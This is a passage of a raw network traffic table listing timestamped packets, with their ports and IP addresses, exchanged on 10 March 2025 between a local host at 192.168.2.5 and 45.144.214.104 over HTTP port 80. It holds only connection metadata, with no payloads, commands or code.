Mar 10, 2025 18:02:08.957319975 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.957325935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957334042 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.957365036 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.958184004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958198071 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958209991 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958220959 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958233118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958236933 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.958246946 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958266973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.958268881 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.958307981 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.000317097 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085383892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085422039 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085443020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085457087 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085472107 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085486889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085504055 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085525990 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085589886 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085618973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085643053 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085654020 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085699081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085779905 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085791111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085803032 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085813999 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085817099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085829020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.085836887 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.085851908 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086179018 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086224079 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086412907 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086431026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086488962 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086627007 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086647034 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086661100 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086679935 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086683989 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086699009 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086724997 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086733103 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086764097 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.086859941 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086960077 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086971998 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.086982965 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087006092 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.087011099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087023973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087033987 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.087052107 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087063074 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.087070942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087090969 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087104082 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087119102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087125063 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.087152004 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.087795973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087865114 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.087917089 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088016033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088030100 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088042021 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088053942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088064909 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088071108 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088077068 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088085890 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088090897 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088104963 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088110924 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088118076 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088149071 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088165998 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.088936090 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088954926 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088967085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088979006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.088993073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089001894 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.089004040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089020967 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.089025021 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089036942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089046955 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.089052916 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089065075 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089076996 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.089083910 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089119911 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.089912891 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089926004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089937925 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089950085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.089973927 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.090004921 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.216947079 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.216967106 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.216984987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.216996908 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217009068 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217020988 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217031956 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217045069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217051029 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217063904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217076063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217088938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217102051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217118025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217139006 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217179060 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217200041 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217211962 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217223883 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217236996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217237949 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217250109 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217255116 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217263937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217276096 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217279911 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217288017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217299938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217314005 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217319012 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217329025 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217343092 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217366934 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.217844009 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217863083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217874050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217885017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217897892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217910051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217921019 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217931986 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217943907 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217955112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217967033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217987061 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.217999935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.218008041 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.218049049 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219484091 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219501972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219516039 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219527006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219532967 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219541073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219554901 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219568968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219569921 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219582081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219594002 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219597101 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219609976 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219626904 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219635963 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219646931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219659090 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219675064 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219816923 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219829082 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219840050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219852924 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219855070 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219865084 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.219870090 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.219894886 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220607996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220627069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220638990 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220649958 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220663071 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220664978 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220675945 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220678091 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220689058 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220701933 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220702887 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220733881 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220801115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220813036 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220824957 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220838070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220844984 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220849991 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220863104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220866919 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220877886 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220889091 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220892906 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.220927954 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.220935106 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221632957 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221653938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221664906 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221676111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221683979 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221688986 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221702099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221704960 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221716881 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221719027 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221729040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221740961 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221751928 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221757889 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221764088 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221779108 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221785069 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221791983 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221797943 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221805096 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221817017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221824884 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221831083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221844912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.221849918 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.221894979 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.222428083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222446918 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222457886 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222469091 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222482920 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.222482920 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222511053 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.222577095 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222594976 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222608089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222618103 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222629070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222631931 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.222642899 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.222646952 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.222661018 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.265993118 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.346609116 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346674919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346710920 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346741915 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346762896 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.346776962 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346829891 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.346832037 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346868038 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346903086 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346915960 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.346935987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.346946001 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.346987963 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347038984 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347073078 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347084045 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347106934 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347136974 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347142935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347177982 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347212076 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347223043 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347245932 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347284079 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347294092 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347326040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347330093 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347368002 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347400904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347414017 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347435951 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347507000 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347542048 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347544909 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347574949 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347609043 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347620964 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347641945 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347661972 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347676039 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347707987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347713947 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347742081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347776890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347793102 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347811937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347845078 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347861052 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347878933 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347913027 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347949028 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.347959995 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.347985983 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348020077 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348033905 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348061085 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348071098 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348104954 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348139048 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348160028 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348172903 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348226070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348275900 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348304033 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348341942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348383904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348388910 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348417044 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348422050 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348453045 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348485947 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348496914 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348521948 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348555088 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348563910 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348588943 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348623037 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348658085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348664999 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348690987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348726034 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348731995 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348761082 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348766088 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.348797083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.348846912 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354314089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354345083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354376078 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354402065 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354430914 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354440928 CET	49707	80	192.168.2.5	45.144.214.104
